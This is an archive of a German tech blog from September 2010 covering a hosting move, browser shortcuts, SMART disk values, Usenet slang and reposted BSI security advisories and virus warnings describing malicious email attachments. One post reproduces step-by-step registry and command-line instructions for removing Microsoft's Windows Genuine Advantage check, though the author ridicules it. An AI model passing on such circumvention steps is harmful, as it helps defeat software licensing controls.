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Dienstag, 28. September 2010

Wir ziehen um auf neue Server!

Wir ziehen mit unseren Domains auf neue Server um. Nachdem wir fast schon Jahrzehnte lang unsere Homepagen auf Strato hosteten, bekamen wir von WebGo24 ein Angebot, daß wir nicht abschlagen konnten. Nach der ersten Testphase beschloßen wir den kompletten Umzug.

Die Erfahrungen, die wir bei dem Umzug sammeln dürfen, werden wir Euch noch in den passenden Kategorien mitteilen, aber im Augenblick sind

* eMail Server konfigurieren
* eMail Klients konfigurieren
* Passwort geschützte Bereiche einrichten
* Datenbanken exportieren
* Datenbanken importieren
* Domains ummelden
* Subdomains einrichten
* Server in den Anwendungen konfigurieren
* .....

und jede Menge anderer Dinge angesagt. Dementsprechend wird es in den nächsten Wochen und Monaten wohl weniger mit neuen Features und alt gewohntes dürfte ab und an holprig sein.
Trotzdem: Wir bemühen uns natürlich die Einschränkungen so gering, wie möglich zu halten!

Freitag, 24. September 2010

Tastenkombination in den Internet - Browsern

Tastenkombination im Firefox-Browser

Zum blitzschnellen Blättern durch die Tabs eine praktische Sache..
[Strg][T] - eine neue Registerkarte öffnen
[Strg][Bild rauf] - zur Registerkarte links vom aktuellen Tab springen
[Strg][Bild runter] - zur Registerkarte links vom aktuellen Tab springen

Tastenkombination für den Internet Explorer von Microsoft
F4     In die Adresszeile springen
F5     Seite aktualisieren
F11   Vollbild
Alt     Menüleiste temporär einblenden
Alt-Links      Vorherige Seite
Alt-M           Homepage aufrufen
Alt-Rechts     Nächste Seite
Alt-Return     Eingegebene URL in neuer Registerkarte/Tab öffnen
Esc Ladevorgang der aktuellen Seite abbrechen
Strg-”+” Web-Seite vergrößern
Strg-”-”  Web-Seite verkleinern
Strg-D     Aktuelle Seite zu Favoriten hinzufügen
Strg-E      In die Suchleiste springen
Strg-F      Aktuelle Seite durchsuchen
Strg-H     Verlauf aufrufen
Strg-I       Favoriten aufrufen
Strg-J       RSS-Feeds aufrufen
Strg-N      Neues Fenster öffnen
Strg-P       Drucken
Strg-Q      Miniaturansichten aller Registerkarten/Tabs
Strg-R      Neue Registerkarte/Tab öffnen
Strg-Tab   Zwischen Registerkarten/Tabs wechseln
Strg-W     Aktuelle Registerkarte/Tab schließen

Windows Genuine Advantage entfernen

Ich habe vor kurzem auf einer renommierten Webseite folgende Anleitung gefunden um das WGUI Tool von Microsoft zu deinstallieren. Der Trick funktioniert natürlich, allerdings nur temporär, denn es wird bei jedem größeren Windows Update diese Prozedur von Neuem notwendig. Was soll denn bitte der Geiz? Für weit unter 30.- Euro wird bereits ein voll zu lizensierendes und zu aktivierendes Windows XP Professional in Deutsch incl. Service Pack2 mit einem freundlichen Lächeln für die Kundschaft über den Ladentisch geschoben.
Diese Prozedur ist übrigens nicht der neueste in diesem Metier. Er wurde eigentlich bereits vor etlichen Jahren in den Anfängen des Windows XP zum Thema WGUI  auf vielen Plattformen diskutiert!
Hat also bereits eher geschichtlichen Charakter!

Um zum Beispiel bei Windows XP das Tool Windows Genuine Advantage zu entfernen, ist ein wenig Handarbeit angesagt. Mit folgenden Schritten werden Sie das Genuine-Advantage-Tool wieder los:
1. Öffnen Sie den Registry-Editor, indem Sie die Tastenkombination [Windows-Taste][R] drücken und den Befehl “regedit” eingeben.
2. Im Registrierungseditor wechseln Sie in folgenden Ordner:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify
Hier markieren Sie den Unterschlüssel “WGALogon” und löschen ihn mit der [Entf]-Taste. Bestätigen Sie die Sicherheitsabfrage mit “Ja”.
3. Dann starten Sie den Windows-Explorer und wechseln in den Ordner “C:\Windows\System32″. Benennen Sie die dort gespeicherte Datei “wgalogon.dll” und “wgatray.exe” um, indem Sie ans Ende den Zusatz “.alt” hängen. Die Dateinamen lauten dann zum Beispiel folgendemaßen:
wgalogon.dll.alt
wgatray.exe.alt
4. Starten Sie den Rechner neu. Öffnen Sie das Fenster der Eingabeaufforderung, indem Sie die Tastenkombination [Windows-Taste][R] drücken und den Befehl “cmd” eingeben. Danach geben Sie folgende Zeile ein und bestätigen sie mit der [Return]-Taste:
Regsvr32 %Windir%\system32\LegitCheckControl.dll /u
5. Starten Sie den Rechner ein weiteres Mal neu. Öffnen Sie erneut die Eingabeaufforderung, und geben Sie nacheinander die folgenden Zeilen ein (die Sie jeweils mit der [Return]-Taste bestätigen):
del %Windir%\system32\wgalogon.dll.alt
del %Windir%\system32\WgaTray.exe.alt
del %Windir%\system32\LegitCheckControl.dll
6. Öffnen Sie erneut den Registrierungseditor, und wechseln Sie in den folgenden Ordner:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify
Hier löschen Sie den erneut angelegten Unterordner “WGALogon”. Danach wechseln Sie in den Ordner
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
und entfernen hier den Unterordner “WGA”. Damit ist das Windows Genuine Advantage Tool vom Rechner verschwunden.

Auf gut Deutsch gesagt, also echter Schwachsinn! Nicht nur, daß jeder, der vor über 3400 Tagen dieses Tutorial las, welches heute sogar in Computerzeitschriften zu finden ist, las, zum Staatsfeind avancierte, NEE bei jedem automatisiertem Update wurde dieser komplizierte HAck von neuem notwendig oder XP rotzte einfach ab!
Leute spendet weniger Euren Parteien und kauft Euch endlich ne LIZENZ!

SMART Werte - Self-Monitoring, Analysis and Reporting Technology

Das Self-Monitoring, Analysis and Reporting Technology (SMART bzw. S.M.A.R.T.), zu deutsch System zur Selbstüberwachung, Analyse und Statusmeldung, ist ein Industriestandard, der in Computerfestplatten  eingebaut wird. Es ermöglicht das permanente Überwachen wichtiger Parameter und somit das frühzeitige Erkennen drohender Defekte.

Parametername Bedeutung
Raw Read Error Rate Kritisch. Ein niedriger Wert weist auf unkorrigierbare Lesefehler hin, die mit der Plattenoberfläche oder mit den Leseköpfen zusammen hängen.
Througput Performance Kritisch. Allgemeiner Indikator für den Datendurchsatz. Niedrige Werte zeigen, dass die Platte nicht mehrin vollem Tempo arbeiten kann.
Spin Up Time Mittlere Startzeit des Motors, der die Platten antreibt. Schlechte Werte können auf Lagerprobleme hinweisen, die oft von zu hohen Temperaturen kommen.
Start/Stop Count Unkritisch. Zählt die Start/Stop-Vorgänge des Laufwerks.
Reallocated Sector Count Sehr kritisch. Zählt, wieviele Reservesektoren die Festplatte bereits genutzt hat. Deutet auf Medienprobleme hin.
Read Channel Margin Gibt an, wie viel der Bandbreite bei Lesevorgängen im Mittel genutzt wird. Die genaue Bedeutung ist undokumentiert.
Seek Error Rate Kritisch. Zählt die Fehler bei Lesevorgängen, die vom Zustand des Positionierungssystems, oder von der Oberfläche abhängig sind.
Seek Time Performance Allgemeiner Wert, der die Leistung der Leseköpfe beschreibt. Niedrige Werte weisen auf Mechanische Probleme hin.
Power On Hours Count Zählt die Betriebsstunden der Platte. Meist in einem herstellerspezifischen Format.
Spin Retry Count Kritisch. Gibt an, wie oft der Motor anlaufen musste, damit die Platte ihre betriebstypische Umdrehungszahl erreich.
Recalibration Retries Kritisch. Zählt, wie oft die Platte die Schreib-Leseköpfe neu kalibrieren musste. Weißt auf mechanische Fehlfunktionen hin.
Device Power Cycle Count Zeigt die Statistik, wie oft das Laufwerk ein- und ausgeschaltet wurde.
Soft Read Error Rate Gibt an, wie oft das Betriebssystem die gelesenen Daten als fehlerhaft verworfen hat
G-Sense Error Rate G-Sense steht für einen Schock-Sensor, der heftige Erschütterungen im Betrieb misst
Power-Off Retract Cycle Zählt lediglich, wie oft die Festplatte abgeschaltet wurde
Load/Unload Cycle Count Gibt an, wie oft die Platte ihre Schreib- und Leseköpfe in die Parkposition (Landing Zone) gefahren hat.
Temperature Gibt die Temperatur des Laufwerks an. Eher unwichtig, da die Messung bei den meisten Geräten sehr ungenau ist.
Reallocation Events Count Sehr kritisch. Zählt jeden Versuch der Platte, Sektoren umzumappen, auch wenn dies nicht gelingt.
Current Pending Sector Count Sehr kritisch. Gibt die Anzahl der instabilen Sektoren an, die auf eine Verschiebung in den reservierten Bereich warten.
Uncorrectable Sector Count Sehr kritisch. Die Anzahl der fehlerhaften Sektoren, welche die interne Plattenlogik nicht restaurieren und in den reservierten Bereich verschieben kann
UltraDMA CRC Error Rate Kritisch. Anzahl der Prüfsummenfehler bei der Datenübertragung. Kann auch auf defekte Kabel, Treiberkonflikte oder auf Übertaktungsprobleme hinweisen
Write Error Rate Kritisch. Zählt, wie oft Fehler beim Schreiben von Sektoren aufgetreten sind.
Disk Shift Sehr Kritisch. Dieser Wert gibt an, ob sich aufgrund von Temperaturproblemen oder Schockeinwirkungen eine Umwucht gebildet hat.
Loaded Hours Gibt an, wie lange die Platte unter Volllast stand. Der Indikator dafür sind die Bewegungen des Plattenarms.
Load/Unload Retry Count Zählt in einer undokumentierten Einheit, wie oft die Schreib-Leseköpfe die Position geändert haben
Load Friction Zeigt einen statistischen Wert, wie hoch der Reibungswiederstand beim Bewegen des Plattenarmes ist
Load-in Time Gibt an, wie lange sich der Plattenarm nicht in der Landing Zone geparkt war.
Torque Amplification Count Zählt, wie oft die interne Logik der Platte das Drehmoment neu anpassen musste
GMR Head Amplitude Ein rein statistischen Wert über die zurückgelegte Distanz der Schreib-Leseköpfe während einer Bewegung.

Passende Programme zum Auslesen der SMART Werte:

Open Directory Project (ODP)

Um eine WebSite beim größten, am meisten verbreiteten und genutzten Webkatalog der Welt erfolgreich und schnell anmelden zu können, sollten Sie bestimmte Aufgaben schon vor Ihrem Antrag auf  DMOz.org erledigen.
  • Warten Sie mit der Anmeldung bis zur vollständigen Fertigstellung
  • Überprüfen Sie vor der Anmeldung, ob Ihre Seite bereits aufgenommen ist
  • Wählen Sie die passende Kategorie aus
  • Erstellen Sie einen passenden Titel
  • Formulieren Sie Sie eine gute Beschreibung
  • Geben Sie Ihre Hauptdomain an
  • Melden Sie Ihre Seite nur einmal an
  • Speichern Sie alle Ihre Angaben
  • Nutzen Sie die 'Eintrag aktualisieren' Funktion
Wenn Sie das  Open Directory Project (ODP) in Ihre WebSite als eigenen WebKatalog einbinden möchten, dann empfehlen wir Ihnen das kostenlose PHP Script DWodp von Dominion Web

Online genutzte Abkürzungen

Die folgenden Abkürzungen beziehen sich eigentlich auf das Usenet, haben sich aber in der Zwischenzeit auf sämtlichen Online Plattformen und in den sozialen Netzwerken eingebürgert.
Das Usenet (urspr. Unix User Network – engl. „Netzwerk für die Benutzer von Unix“) ist ein weltweites, elektronisches Netzwerk, das Diskussionsforen (so genannte „Newsgroups“) aller Art bereitstellt und an dem grundsätzlich jeder teilnehmen kann. 

ACK - Acknowledge – Zustimmung. Gegenteil: NACK.
AFAIK – As far as I know – Soweit ich weiß
AFAIR – As far as I remember – Soweit ich mich erinnere
AFAI(C)S – As far as I (can) see – Soweit ich die Sache überblicke(n kann)
aka - also known as ... – auch bekannt als ...
AOL - „Finde ich auch“.
Artikel, Posting - Einzelner Beitrag in einer Gruppe. Das Abschickens eines Artikels nennt man „posten“.
BOFH - Bastard Operator From Hell
BTDT - Been there, done that – „ich war da und hab’s selbst probiert“ GTLT got that lousy T-shirt – „und hab dieses blöde T-Shirt bekommen“.
BTW - By The Way – Übrigens...
Cancel, canceln - Löschen eines Artikels. 
CMIIW - Correct me if I’m wrong – „Korrigiert mich, wenn ich falsch liege“.
Crossposting - X-Posting  xpost - Wenn man einen Artikel in mehrere Gruppen senden will
DAU - Dümmster Anzunehmender User
/dev/null - Untschüss.
EOD - End of discussion – „damit ist das Thema für mich erledigt, ich werde mich nicht mehr dazu äußern.“
EOT - End of thread/topic - Vorschlag, eine (fruchtlose) Diskussion komplett zu beenden.
FAQ - (gesprochen entweder „Eff-Ah-Kuh“ oder, wenn du dich traust, „fack“)
Frequently Asked Questions,  „Fragen, die immer wieder gestellt werden“
Flame - persönlich verletzender Artikel
Flamewar - Artikel der alle Mitleser einfach nur genervt.
Follow-Up - Abkürzung: „F'up“. Artikel, der auf einen anderen Artikel Bezug nimmt.
Followup-To - Abkürzung: „F'up2“ - Angabe im Header, wohin Follow-Ups geschickt werden.
FRZ - Fragezeichen
„fuppen“ - Verb zu „F’up2“. Umleiten einer Diskussion
GABELN - Gruppe Area Brett Echo Liste Newsgroup.
Gruppe, Newsgroup, Forum - „Schwarzes Brett“ im Usenet, an dem sich die Artikel befinden.
^H - aus Versehen etwas falsches gesagt
^W -  aus Versehen etwas falsches gesagt
Header - „Briefkopf“ eines Artikels
HTH - Hope that helps – „Ich hoffe, deine Frage ist damit zumindest so weit beantwortet, dass du erst einmal weiter kommst...“
IANAL -  I am not a lawyer – „Ich bin kein Jurist“ - „Disclaimer“
IBTD - I beg to differ – „Bei allem Respekt, ich bin anderer Meinung“.
IIRC - If I remember/recall correctly – „Wenn ich mich recht erinnere...“
IM(H)O - In my (humble) opinion – „Meiner (bescheidenen) Meinung nach...“
die ~ machen - Ein Followup auf einen eigenen Artikel schreiben
IOW - In other words – „Mit anderen Worten...“
IRL - In Real Life – „im wirklichen Leben“
Jehova - Rotes Tuch - „JHVH“. Strenggläubigen Juden ist es verboten, diesen Namen in den Mund zu nehmen. 
JFTR - Just for the record – „nur fürs Archiv“ - „nur zur Kenntnis“.
Killfile - Filterliste
LART - Luser Attitude Readjustment Tool –  „Werkzeug zum Neuabgleich der Einstellung des Lusers“
LOL - Laugh out loud – Lautes Lachen.
RO(T)FL – Rolling On The Floor Laughing („wälze mich vor Lachen auf dem Boden“).  ROFLASTC – ...And Scaring The Cat. Beliebig weiterführbar.
ROTFLBTCDICAJTTWADBSISWTRHITSBKABAYB: „Rolling On The Floor Laughing, Biting The Carpet, Dancing In Circles And Jumping Through The Window Almost Dying By Smashing Into Someone Who Then Runs Horrified Into The Street Being Killed Accidentally By A Yellow Bulldozer“
lurken, Lurker - „still“ mitlesen
man [...] -  „man ...“  „Informiere dich bitte über [...], dann kannst du deine Frage selbst beantworten.“
Multiposting - → Crossposting
MUSEN - Meinem unmaßgeblichen Sprachempfinden nach.
Netcop -  Rentnern mit Fernglas hinter der Gardine
Netiquette - elementare Benimmregeln für’s Usenet
Newbie - im Usenet noch neu
Newsreader - Programm für das Usenet
NUA - News User Agent – anderes Wort für Newsreader.
Nuhr - „Wenn man keine Ahnung hat: Einfach mal Fresse halten!“
OjE - User des Microsoft- Newsreader Outlook Express.
OP - Originalposting oder Originalposter
OT - Off topic – nicht zum Thema bzw. Themenbereich der Gruppe gehörend
Pawlow - eine mechanische und oft unangebrachte Reaktion
Plenken - vor Satzzeichen (besonders Frage- und Ausrufzeichen) einen Leerschritt setzen.
*PLONK* - Der Name eines Mitlesers auf dem Boden eines Killfiles aufgeschlagen
PM - Private Mail
Pointer - Stelle, wo eine Information zu finden ist
Popcorn - Diskussion zu einem Thema, das schon x Mal durchdiskutiert wurde
posten - Abschicken eines Usenet- Artikels
Pratchett - „Mehrfache Ausrufzeichen sind ein sicheres Zeichen eines kranken Geistes“
Quote, Zitat
ROT13 - alphabetische Rotation um 13 Stellen
RTFM - Read that f***ing manual! – „Lies das verd***te Handbuch!“
s/abc/xyz/ - Kurzform für: „Ersetze abc durch xyz“.
SCNR - Sorry, could not resist – „Entschuldigung, das konnte ich mir nicht verkneifen“
score adjusted - „ Scorefile angepasst“
Scorefile - „Intelligentes“ Bewertungssystem für Newsartikel
Shift-Taste, defekte - Eigenwillige Auslegung der Regeln zur Groß- und Kleinschreibung
Signatur, Sig - Fußzeile eines Postings
sinnfrei - „sinnlos“ oder „unsinnig“.
Spellflame - Missbrauch von Rechtschreibschwächen des Diskussionsgegners als Argument
Subject - Betreffzeile eines Artikels
Supersedes - Ein Artikel, der einen anderen ersetzt
Tante Gu - Weiß alles!
Thread - Gesamtheit eines Originalpostings und sämtlicher Follow-Ups
TIA - Thanks In Advance – „Danke im Voraus“
Tischkante -  beißt vor Lachen in die Tischkante
TLA - Three Letter Acronym – „Drei-Buchstaben-Abkürzung“.
[tm] - Kürzel für „trademark“
TOFU - logische Folge von Frage und Antwort wird auf den Kopf gestellt.
Troll, Elch - bewusst herumpöbelnder Artikel
Usenetverwaltung - jeder passt auf sich selbst auf.
-v - „Das verstehe ich so nicht – könntest du es mal etwas ausführlicher darlegen?“
WFM - Works For Me – „Bei mir geht’s“
Wowereit - „Und das ist auch gut so“.
WWG - „Wieder was gelernt“
xf'up2 - Abkürzung für „ X-Post & F'up2 “
Xpost - Abkürzung für Crosspost.
YMMD - You Made My Day – „Du hast mir den Tag gerettet“
YMMV - Your Mileage May Vary  „Unter anderen Umständen kann man natürlich auch zu ganz anderen Ergebnissen/Ansichten kommen“.
42 - „Zweiundvierzig“, niemand weiß mehr, wie die Frage eigentlich genau lautet.
!= - „... ist etwas anderes als ...“

Mittwoch, 22. September 2010

Cuil SEO ist DOWN

Cuil ist ähem war eine recht intensive Suchmaschine und die ist inzwischen DOWN oder genauer weg vom Fenster
Wir fanden diese Suchmaschine  zwar recht gut vor allen Dingen als Webmaster wegen den diversen Möglichkeiten / Features für die eigene Homepage, aber das genügte wohl nicht um im Kampf der Giganten zu bestehen. Schade drum! Ansonsten hätten wir es noch vor ein paar Jahren nicht für möglich gehalten, daß eine so große Suchmaschine pleite gehen kann! Aber anscheinend ist heute wirklich nichts mehr unmöglich. An der Qualität der Suchmaschine lag es nach unserem Ermessen nicht, wohl eher an der fehlenden Resonanz Ihrer Besucher!

Ausführliche Meldung (in English)

Samstag, 11. September 2010

Mal ein kleiner Test für die Sicherheit

Ich probier mal was und das ist die Sicherheit im Internet zu erhöhen indem ich Sicherheitswarnungen von anderen hier in meinem Blog mit veröffentliche. Ich nehme an, daß durch die Einbindung des RSS-Feeds vom Blog in anderen Webseiten und die RSS-Feed Abos diese wichtigen Sicherheitsinformationen besser verbreitet werden und das Netz dadurch sicherer wird.

Meine Absicht ist es:
Die technischen Warnungen unseres Bundesministerium für Datensicherheit in der Informationstechnologie (BSI) und die eMail - Virenmeldungen des Viren - Tickers in Monaten zusammengefasst zu posten.
...
Noch ne wichtige Anmerkung:
Sämtliche Sicherheitsmeldungen bedeuten nicht, daß die Konkurrenzprodukte deshalb sicherer sind. Tatsächlich bedeuten diese Meldungen nur, daß hier etwas für die Sicherheit getan und nicht darüber geschwiegen wurde, bis die ganze Cyberwelt es heraus schreit!

Es folgen die technischen Warnungen unseres Bundesministerium für Datensicherheit in der Informationstechnologie (BSI)


Zusammenfassung der Technischen Warnungen im Monat September
Die Details der Meldungen sind fuer Sie online abrufbar unter
http://www.buerger-cert.de
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Sicherheitsupdate fuer Adobe Flash Player [Bcert-2010-0093/1]
Risiko: Hoch
Komplette Meldung:
http://www.buerger-cert.de/techwarnung.aspx?msg_nr=Bcert-2010-0093
-----------------------------------------------------------------------
Microsoft Patchday September 2010 [Bcert-2010-0094/1]
Risiko: Mittel
Komplette Meldung:
http://www.buerger-cert.de/techwarnung.aspx?msg_nr=Bcert-2010-0094
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Apple Mac OS X Sicherheitsupdate 2010-006 [Bcert-2010-0095/1]
Risiko: Mittel
Komplette Meldung:
http://www.buerger-cert.de/techwarnung.aspx?msg_nr=Bcert-2010-0095
-----------------------------------------------------------------------
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Apple QuickTime Player 7.6.8 [Bcert-2010-0092/1]
Risiko: Hoch
Komplette Meldung:
http://www.buerger-cert.de/techwarnung.aspx?msg_nr=Bcert-2010-0092
-----------------------------------------------------------------------
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Mozilla Foundation aktualisiert Firefox, Thunderbird und Seamonkey
[Bcert-2010-0088/1]
Risiko: Hoch
Komplette Meldung:
http://www.buerger-cert.de/techwarnung.aspx?msg_nr=Bcert-2010-0088
-----------------------------------------------------------------------
Apple Safari Safari 5.0.2 and Safari 4.1.2 [Bcert-2010-0089/1]
Risiko: Hoch
Komplette Meldung:
http://www.buerger-cert.de/techwarnung.aspx?msg_nr=Bcert-2010-0089
-----------------------------------------------------------------------
Apple iPhone und iPod Touch [Bcert-2010-0090/1]
Risiko: Mittel
Komplette Meldung:
http://www.buerger-cert.de/techwarnung.aspx?msg_nr=Bcert-2010-0090
-----------------------------------------------------------------------
Adobe Reader und Acrobat 9.3.4 [Bcert-2010-0091/1]
Risiko: Hoch
Komplette Meldung:
http://www.buerger-cert.de/techwarnung.aspx?msg_nr=Bcert-2010-0091
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Mal sehen ob was nützliches dabei herauskommt?


Technische Warnungen des Buerger-CERT
[Bcert-2010-0093/1]:
Sicherheitsupdate fuer Adobe Flash Player

Risiko: Hoch

Betroffene Systeme:
Adobe Flash Player Version 10.1.82.76 und frueher fuer Windows, Macintosh, Linux und Solaris
Adobe Flash Player Version 10.1.92.10 und frueher fuer Android
Adobe Flash Player vor Version 9.0.283

Empfehlung:
Das Buerger-CERT empfiehlt die zeitnahe Aktualisierung des Adobe Flash Players (10.1.85.3 fuer Windows, Macintosh. Linux und Solaris bzw. 10.1.95.1 fuer Android) fuer den jeweils genutzten Browser. Bei dem Adobe Flash Player geschieht dies am einfachsten ueber die integrierte Update-Funktion oder ueber die Webseite
http://get.adobe.com/flashplayer/
Anwender des Flash Players fuer Android Version 10.1.92.10 und frueher koennen die Aktualisierung ueber den Android Marketplace durchfuehren.
Adobe bietet eine Webseite [2] zur Pruefung der aktuell installierten Flash Player Version an. Bei dem Einsatz mehrerer Browser sollte die Pruefung fuer jeden einzelnen Browser durchgefuehrt werden.
Fuer Anwender, die nicht auf Flash Player 10.1.85.3 aktualisieren koennen, stellt Adobe eine aktualisierte Flash Player Version 9.0.283 bereit [3].

Beschreibung:
Adobe behebt mit dem Sicherheitsupdate fuer den Flash Player eine kritische Schwachstelle, die es einem Angreifer ermoeglicht, beliebigen Code auf betroffenen Systemen auszufuehren. Hierfuer reicht bereits der Besuch einer vom Angreifer praeparierten Webseite.
[Bcert-2010-0088/1]:
Mozilla Foundation aktualisiert Firefox, Thunderbird und Seamonkey

Risiko: Hoch

Betroffene Systeme:
Mozilla Firefox vor Version 3.6.9
Mozilla Firefox vor Version 3.5.12
Mozilla Thunderbird vor Version 3.1.3
Mozilla Thunderbird vor Version 3.0.7
SeaMonkey vor Version 2.0.7

Empfehlung:
Das Buerger-CERT empfiehlt Nutzern des Webbrowsers Firefox und des E-Mail-Clients Thunderbird die von ihnen genutzte Versionsreihe zu aktualisieren. Der Support der Firefox-Versionsreihe 3.5 ist ausgelaufen.
Am einfachsten ist ein Update ueber die integrierte Update-Funktion moeglich:
Menue "Hilfe", "Nach Updates suchen..." bzw. "Firefox/Thunderbird aktualisieren".
Alternativ stehen die Installationspakete auf folgenden Webseiten zum Herunterladen bereit:
Firefox 3.6.9
http://www.mozilla.com/de/
Firefox 3.5.12
http://www.mozilla.com/en-US/firefox/all-older.html
Thunderbird 3.1.3
http://www.mozillamessaging.com/de/
Thunderbird 3.0.7
http://www.mozillamessaging.com/en-US/thunderbird/all-older.html
SeaMonkey 2.0.7
http://www.seamonkey-project.org/releases/

Beschreibung:
Ein Angreifer kann die von den Mozilla-Entwicklern in Firefox und Thunderbird geschlossenen Schwachstellen ausnutzen, um Informationen auszuspaehen, einen Absturz der Anwendung auszuloesen oder beliebigen Code zur Ausfuehrung zu bringen.
[Bcert-2010-0089/1]:
Apple Safari Safari 5.0.2 and Safari 4.1.2

Risiko: Hoch

Betroffene Systeme:
Apple Safari vor Version 5.0.2
Apple Safari vor Version 4.1.2

Empfehlung:
Das Buerger-CERT empfiehlt das von Apple bereitgestellte Safari-Sicherheitsupdate so rasch wie moeglich zu installieren. Dies geschieht unter Mac OS X am einfachsten ueber die integrierte Funktion "Software Aktualisierung" des Betriebssystems bzw. unter Microsoft Windows mit der Anwendung "Apple Software Update".
Alternativ kann das Safari-Update auch manuell von der Apple
Download-Webseite heruntergeladen werden:
http://support.apple.com/downloads/

Beschreibung:
Mit den Safari Versionen 5.0.2 und 4.1.2 schliesst Apple drei Sicherheitsluecken im Browser. Die Ausnutzung der Sicherheitsluecken ermoeglicht einem entfernten Angreifer mithilfe von praeparierten Webseiten u.a. die Ausfuehrung von Schadcode auf dem System des Opfers.
[Bcert-2010-0091/1]:
Adobe Reader und Acrobat 9.3.4

Risiko: Hoch

Betroffene Systeme:
Adobe Reader und Acrobat Version 9.3.4 und frueher

Empfehlung:
Ein Patch des Herstellers steht derzeit nicht zur Verfuegung. Derzeit verwenden die praeparierten PDF-Dokumente zur Ausnutzung dieser Sicherheitsluecke JavaScript. Daher eine Deaktivierung von JavaScript grundsaetzlich sinnvoll.
Dies ist in Adobe Reader und Acrobat ueber das Menue
"Bearbeiten" > "Voreinstellungen..." > Kategorie "JavaScript"
moeglich. Entfernen Sie zur Deaktivierung von JavaScript in PDF-Dokumenten den Haken vor der Option "Acrobat JavaScript aktivieren" und bestaetigen Sie das Fenster mit der Schaltflaeche "OK".
Diese Massnahme bietet allerdings keinen vollstaendigen Schutz vor Ausnutzung der Schwachstelle.

Beschreibung:
Adobe warnt vor einer neuen Sicherheitsluecke im Adobe Reader und Acrobat 9.3.4 sowie frueheren Versionen fuer Windows, Mac und Unix. Die Sicherheitsluecke wird bereits aktiv ausgenutzt, um ueber manipulierte PDF-Dokumente Windows-PCs zu kompromittieren.


Durch eMails verbreitete Viren


Zusammenfassung der Virenmeldungen im Monat September
Die Details der Meldungen sind fuer Sie online abrufbar unter
http://www.viren-ticker.de/

Angeblicher Abbuchungsauftrag versucht einen Trojaner einzuschleusen
Es werden E-Mails versandt, die angeblich einen Abbuchungsauftrag bestätigen. Der E-Mail-Text weist den Empfänger auf einen Rechnungsbetrag von 5.672 Euro hin – nähere Details könne der Empfänger dem beigefügten Anhang entnehmen. In dem Anhang steckt natürlich kein Abbuchungsauftrag, sondern der heimtückische Trojaner iBill.T, der das betreffende System infizieren will.
Die E-Mail hat folgendes Aussehen:
Betreff: Leihvertrag
Dateianhang: Rechnung.rar
Größe des Dateianhangs: 65 KByte
E-Mail-Text: „Sehr geehrter Kunde, sehr geehrte Kundin!
Ihr Abbuchungsauftrag Nr. 140525114897 wurde erfüllt.
Ein Betrag von 5672.00 EURO wurde abgebucht und wird in Ihrem Bankauszug als "Paypalabbuchung " angezeigt.“
Betroffene Betriebssysteme: Alle Windows-Versionen
mehr Infos finden Sie unter http://www.viren-ticker.de/ »»

Wurm tarnt sich als fehlgeleitete E-Mail
Der Wurm Mytob.A wieder unterwegs. Der Wurm versteckt sich im Anhang einer E-Mail, die scheinbar nicht zugestellt werden konnte. Nähere Angaben zu dieser E-Mail können Sie angeblich der im Anhang befindlichen Datei entnehmen. Und das ist natürlich gelogen.
Wird die sich im Anhang befindende Datei durch einen Doppelklick geöffnet, erhält man keine Informationen über die entsprechende E-Mail, die nicht zugestellt werden konnte. Stattdessen installiert sich der Wurm auf dem betreffenden System.
Die E-Mail hat folgendes Aussehen:
Betreff: „Mail Delivery System”
Dateianhang: „body.zip.exe“.
Größe des Dateianhangs: 41.824 Bytes.
E-Mail-Text: „Mail transaction failed. Partial message is available.“
Betroffene Betriebssysteme: Alle Windows-Versionen
mehr Infos finden Sie unter http://www.viren-ticker.de/ »»

Gefahr durch falschen Abbuchungsauftrag
Es werden E-Mails versandt, die angeblich einen Abbuchungsauftrag bestätigen. Der E-Mail-Text weist den Empfänger auf einen Rechnungsbetrag hin – nähere Details könne der Empfänger dem beigefügten Anhang entnehmen. In dem Anhang stecken natürlich keine Informationen über den Abbuchungsauftrag, sondern der heimtückische Wurm Klez.E7, der das betreffende System infizieren will.
Die E-Mail hat folgendes Aussehen:
Betreff: Vertrag
Dateianhang: Rechnung.rar
Größe des Dateianhangs: 65 KByte
E-Mail-Text: „Sehr geehrte Kundin, sehr geehrte Kunde,
Ihr Abbuchungsauftrag wurde erfüllt. Sie finden die Details zu der Rechnung im Anhang.“
Betroffene Betriebssysteme: Alle Windows-Versionen
mehr Infos finden Sie unter http://www.viren-ticker.de/ »»

Wurm lockt mit nackter Fußball-Mannschaft
Der Wurm Soccer.C lockt mit Bildern einer angeblich nackten Fußball-Mannschaft. Im Anhang der E-Mail befinden sich dann wie immer keine Bilder, sondern der Wurm lauert darauf, das betreffende System zu kapern.
Die E-Mail hat folgendes Aussehen:
Betreff: „Naked World Cup game set“
Dateianhang: soccer_nudist.bmp.exe
E-Mail-Text: „Nudists are organising their own tribute to the world cup, by staging their own nude soccer game, though it is not clear how the teams will tell each other apart. Good photos ;)“.
Dateigröße: 39.904 Bytes
Betroffene Betriebssysteme: Alle Windows-Versionen
mehr Infos finden Sie unter http://www.viren-ticker.de/ »»

E-Mail aus China lockt mit angeblichen Dokument im Anhang
Der Wurm Traxgy.B5 ist unterwegs und verstopft die E-Mail-Postfächer. Im Anhang befindet sich ein angebliches Dokument. Die E-Mail ist leicht zu erkennen, da Betreff und E-Mail-Text aus chinesischen Schriftzeichen bestehen. Im Anhang befindet sich aber eine Datei mit der Bezeichnung Document.
Nach einem Doppelklick auf die im Anhang befindliche Datei, wird jedoch kein Dokument mit dem verknüpften Textverarbeitungsprogramm geöffnet, stattdessen installiert sich der Wurm auf dem System.
Die E-Mail hat folgendes Aussehen:
Betreff: %chinesischer Text%
Dateianhang: Document
Dateierweiterung: .exe
Größe des Dateianhangs: 57.344 Bytes
E-Mail-Text: %chinesischer Text% Document.exe %chinesischer Text%
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Trojaner kommt mit falscher Rechnung von Amazon
Es werden E-Mails versandt, die angeblich von Amazon stammen. Der E-Mail-Text weist den Empfänger auf einen Rechnungsbetrag von 715 Euro für einen bestellten Laptop hin – nähere Details könne der Empfänger dem beigefügten Anhang entnehmen. In dem Anhang steckt natürlich keine Rechnung, sondern ein heimtückischenr Trojaner, der das betreffende System infiziert.
Die E-Mail hat folgendes Aussehen:
Betreff: „Ihre Bestellung 2984234 bei Amazon.de“.
Dateianhang: „Rechnung.doc.zip“
E-Mail-Text: „Vielen Dank für Ihre Bestellung bei Amazon.de!
